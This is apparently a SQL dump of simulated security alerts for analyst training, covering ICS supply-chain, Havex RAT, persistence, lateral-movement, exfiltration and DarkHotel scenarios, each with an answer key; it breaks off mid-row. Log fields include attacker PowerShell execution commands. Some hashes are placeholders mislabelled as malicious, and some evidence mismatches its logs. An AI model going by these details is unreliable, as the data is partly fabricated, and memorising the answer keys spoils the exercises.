INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(466, 'Initial Access: Trojanized Software Update Detected', 'high', 'Software Update Logs', 'A trojanized software update for the ICS system has been detected. This update was distributed by attackers to gain initial access into the network by compromising the supply chain of the legitimate software provider.', 'Supply Chain Attack', 'T1195.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T14:32:10Z\",\"event_type\":\"software_update\",\"software_name\":\"ICS_Control_Update\",\"version\":\"v2.3.4\",\"update_status\":\"completed\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\",\"destination_user\":\"admin\",\"file_path\":\"/usr/local/ics_control/update_v2.3.4.exe\",\"signature_status\":\"invalid\",\"detected_malware\":\"Trojan.IcsMalware\",\"internal_ip_range\":\"192.168.0.0/16\"}', '2026-01-05 03:02:42', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of target device.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash matches known trojanized update.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"/usr/local/ics_control/update_v2.3.4.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"suspicious\",\"details\":\"Suspicious file path for trojanized software.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.076Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:32:10Z\\\",\\\"event_type\\\":\\\"software_update\\\",\\\"software_name\\\":\\\"ICS_Control_Update\\\",\\\"version\\\":\\\"v2.3.4\\\",\\\"update_status\\\":\\\"completed\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"destination_user\\\":\\\"admin\\\",\\\"file_path\\\":\\\"/usr/local/ics_control/update_v2.3.4.exe\\\",\\\"signature_status\\\":\\\"invalid\\\",\\\"detected_malware\\\":\\\"Trojan.IcsMalware\\\",\\\"internal_ip_range\\\":\\\"192.168.0.0/16\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.076Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:32:10Z\\\",\\\"event_type\\\":\\\"software_update\\\",\\\"software_name\\\":\\\"ICS_Control_Update\\\",\\\"version\\\":\\\"v2.3.4\\\",\\\"update_status\\\":\\\"completed\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"destination_user\\\":\\\"admin\\\",\\\"file_path\\\":\\\"/usr/local/ics_control/update_v2.3.4.exe\\\",\\\"signature_status\\\":\\\"invalid\\\",\\\"detected_malware\\\":\\\"Trojan.IcsMalware\\\",\\\"internal_ip_range\\\":\\\"192.168.0.0/16\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.076Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:32:10Z\\\",\\\"event_type\\\":\\\"software_update\\\",\\\"software_name\\\":\\\"ICS_Control_Update\\\",\\\"version\\\":\\\"v2.3.4\\\",\\\"update_status\\\":\\\"completed\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"destination_user\\\":\\\"admin\\\",\\\"file_path\\\":\\\"/usr/local/ics_control/update_v2.3.4.exe\\\",\\\"signature_status\\\":\\\"invalid\\\",\\\"detected_malware\\\":\\\"Trojan.IcsMalware\\\",\\\"internal_ip_range\\\":\\\"192.168.0.0/16\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.076Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:32:10Z\\\",\\\"event_type\\\":\\\"software_update\\\",\\\"software_name\\\":\\\"ICS_Control_Update\\\",\\\"version\\\":\\\"v2.3.4\\\",\\\"update_status\\\":\\\"completed\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"destination_user\\\":\\\"admin\\\",\\\"file_path\\\":\\\"/usr/local/ics_control/update_v2.3.4.exe\\\",\\\"signature_status\\\":\\\"invalid\\\",\\\"detected_malware\\\":\\\"Trojan.IcsMalware\\\",\\\"internal_ip_range\\\":\\\"192.168.0.0/16\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.076Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:32:10Z\\\",\\\"event_type\\\":\\\"software_update\\\",\\\"software_name\\\":\\\"ICS_Control_Update\\\",\\\"version\\\":\\\"v2.3.4\\\",\\\"update_status\\\":\\\"completed\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"destination_user\\\":\\\"admin\\\",\\\"file_path\\\":\\\"/usr/local/ics_control/update_v2.3.4.exe\\\",\\\"signature_status\\\":\\\"invalid\\\",\\\"detected_malware\\\":\\\"Trojan.IcsMalware\\\",\\\"internal_ip_range\\\":\\\"192.168.0.0/16\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(467, 'Execution: \'Havex\' RAT Deployment', 'high', 'Endpoint Detection and Response (EDR)', 'Following the initial access, \'Havex\' RAT is executed to provide attackers with remote control over the compromised systems. The malware was identified running on a critical server, attempting to establish outbound connections to known malicious IPs.', 'Remote Access Trojan', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T15:23:45Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"username\":\"compromised_user\",\"process\":\"powershell.exe\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\havex.ps1\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"file_path\":\"C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\havex.ps1\",\"alert_generated\":true}', '2026-01-05 03:02:42', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known C2 servers for Havex RAT.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal server targeted by the attack.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as Havex RAT payload.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"havex.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"EDR Analysis\",\"verdict\":\"malicious\",\"details\":\"Script used to execute Havex RAT.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(468, 'Persistence: Registry Modification Identified', 'high', 'Registry Logs', 'The attackers modify registry settings to maintain persistence, ensuring their presence even after system reboots.', 'Persistence Mechanism', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:07Z\",\"event_id\":4657,\"computer_name\":\"WIN-EXAMPLE\",\"user\":\"malicious_user\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"operation\":\"SetValue\",\"value_name\":\"SuspiciousProgram\",\"value_type\":\"REG_SZ\",\"value_data\":\"C:\\\\malicious\\\\malware.exe\",\"attacker_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.42\",\"hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-01-05 03:02:42', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Service\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.42\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware sample used by attackers.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"malicious_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"User Monitoring\",\"verdict\":\"suspicious\",\"details\":\"User involved in unauthorized registry modifications.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.078Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:07Z\\\",\\\"event_id\\\":4657,\\\"computer_name\\\":\\\"WIN-EXAMPLE\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"operation\\\":\\\"SetValue\\\",\\\"value_name\\\":\\\"SuspiciousProgram\\\",\\\"value_type\\\":\\\"REG_SZ\\\",\\\"value_data\\\":\\\"C:\\\\\\\\malicious\\\\\\\\malware.exe\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.42\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.078Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:07Z\\\",\\\"event_id\\\":4657,\\\"computer_name\\\":\\\"WIN-EXAMPLE\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"operation\\\":\\\"SetValue\\\",\\\"value_name\\\":\\\"SuspiciousProgram\\\",\\\"value_type\\\":\\\"REG_SZ\\\",\\\"value_data\\\":\\\"C:\\\\\\\\malicious\\\\\\\\malware.exe\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.42\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.078Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:07Z\\\",\\\"event_id\\\":4657,\\\"computer_name\\\":\\\"WIN-EXAMPLE\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"operation\\\":\\\"SetValue\\\",\\\"value_name\\\":\\\"SuspiciousProgram\\\",\\\"value_type\\\":\\\"REG_SZ\\\",\\\"value_data\\\":\\\"C:\\\\\\\\malicious\\\\\\\\malware.exe\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.42\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.078Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:07Z\\\",\\\"event_id\\\":4657,\\\"computer_name\\\":\\\"WIN-EXAMPLE\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"operation\\\":\\\"SetValue\\\",\\\"value_name\\\":\\\"SuspiciousProgram\\\",\\\"value_type\\\":\\\"REG_SZ\\\",\\\"value_data\\\":\\\"C:\\\\\\\\malicious\\\\\\\\malware.exe\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.42\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.078Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:07Z\\\",\\\"event_id\\\":4657,\\\"computer_name\\\":\\\"WIN-EXAMPLE\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"operation\\\":\\\"SetValue\\\",\\\"value_name\\\":\\\"SuspiciousProgram\\\",\\\"value_type\\\":\\\"REG_SZ\\\",\\\"value_data\\\":\\\"C:\\\\\\\\malicious\\\\\\\\malware.exe\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.42\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(469, 'Lateral Movement: SMB Traffic Anomaly', 'high', 'Network Traffic Analysis', 'The network traffic analysis has detected anomalous SMB traffic consistent with lateral movement activities. Using the \'Havex\' Remote Access Trojan (RAT), attackers are performing network reconnaissance to map the industrial control network. This involves the identification of other critical systems within the network by exploiting the SMB protocol.', 'Network Reconnaissance', 'T1021.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-22T14:23:55Z\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"10.0.0.75\",\"destination_port\":445,\"protocol\":\"SMB\",\"malware_name\":\"Havex\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"username\":\"john.doe\",\"filename\":\"netmap.exe\",\"external_attacker_ip\":\"203.0.113.45\"}', '2026-01-05 03:02:42', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local IP address within the internal network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Critical system identified within the internal network.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known hash associated with the Havex RAT.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Public IP address related to known malicious activities.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"netmap.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Executable file used for network reconnaissance.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(470, 'Exfiltration: Unusual Data Transfer Detected', 'high', 'Data Loss Prevention (DLP) Systems', 'The DLP system detected an unusual data transfer from an internal host within the industrial control network to an external IP address. This exfiltration attempt involved sensitive files related to ICS operations, indicating a successful completion of the attackers\' objective.', 'Data Exfiltration', 'T1020 - Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:10Z\",\"internal_ip\":\"192.168.5.23\",\"external_ip\":\"85.234.167.90\",\"filename\":\"ICS_Project_Plan.pdf\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"user\":\"j.doe\",\"transfer_protocol\":\"HTTPS\",\"data_volume\":\"150MB\",\"detection_method\":\"Content Inspection\",\"alert_id\":\"DLP-EXFIL-20231015-001\"}', '2026-01-05 03:02:42', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.5.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host within the ICS network\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"85.234.167.90\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous cyber attacks\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"ICS_Project_Plan.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP\",\"verdict\":\"suspicious\",\"details\":\"Sensitive ICS document\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No known malware associated with this hash\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal HR\",\"verdict\":\"internal\",\"details\":\"Active employee\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.079Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:10Z\\\",\\\"internal_ip\\\":\\\"192.168.5.23\\\",\\\"external_ip\\\":\\\"85.234.167.90\\\",\\\"filename\\\":\\\"ICS_Project_Plan.pdf\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"j.doe\\\",\\\"transfer_protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"150MB\\\",\\\"detection_method\\\":\\\"Content Inspection\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-20231015-001\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.079Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:10Z\\\",\\\"internal_ip\\\":\\\"192.168.5.23\\\",\\\"external_ip\\\":\\\"85.234.167.90\\\",\\\"filename\\\":\\\"ICS_Project_Plan.pdf\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"j.doe\\\",\\\"transfer_protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"150MB\\\",\\\"detection_method\\\":\\\"Content Inspection\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-20231015-001\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.079Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:10Z\\\",\\\"internal_ip\\\":\\\"192.168.5.23\\\",\\\"external_ip\\\":\\\"85.234.167.90\\\",\\\"filename\\\":\\\"ICS_Project_Plan.pdf\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"j.doe\\\",\\\"transfer_protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"150MB\\\",\\\"detection_method\\\":\\\"Content Inspection\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-20231015-001\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.079Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:10Z\\\",\\\"internal_ip\\\":\\\"192.168.5.23\\\",\\\"external_ip\\\":\\\"85.234.167.90\\\",\\\"filename\\\":\\\"ICS_Project_Plan.pdf\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"j.doe\\\",\\\"transfer_protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"150MB\\\",\\\"detection_method\\\":\\\"Content Inspection\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-20231015-001\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.079Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:10Z\\\",\\\"internal_ip\\\":\\\"192.168.5.23\\\",\\\"external_ip\\\":\\\"85.234.167.90\\\",\\\"filename\\\":\\\"ICS_Project_Plan.pdf\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"j.doe\\\",\\\"transfer_protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"150MB\\\",\\\"detection_method\\\":\\\"Content Inspection\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-20231015-001\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(471, 'Suspicious Wi-Fi Network Activity', 'high', 'Network traffic logs', 'DarkHotel initiated an operation by compromising a hotel\'s Wi-Fi network. The network traffic logs indicate suspicious activity from an external IP address, suggesting an attempt to gain initial access to target devices.', 'Initial Access', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:32:15Z\",\"src_ip\":\"192.168.1.105\",\"dst_ip\":\"203.0.113.45\",\"src_port\":443,\"dst_port\":8080,\"protocol\":\"HTTPS\",\"username\":\"guest_user\",\"file\":{\"filename\":\"trojan_hotel.exe\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\"},\"action\":\"connection_attempt\",\"result\":\"success\",\"log_id\":\"abcd1234\"}', '2026-01-05 03:04:49', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Database\",\"verdict\":\"malicious\",\"details\":\"This IP is known to be associated with DarkHotel APT 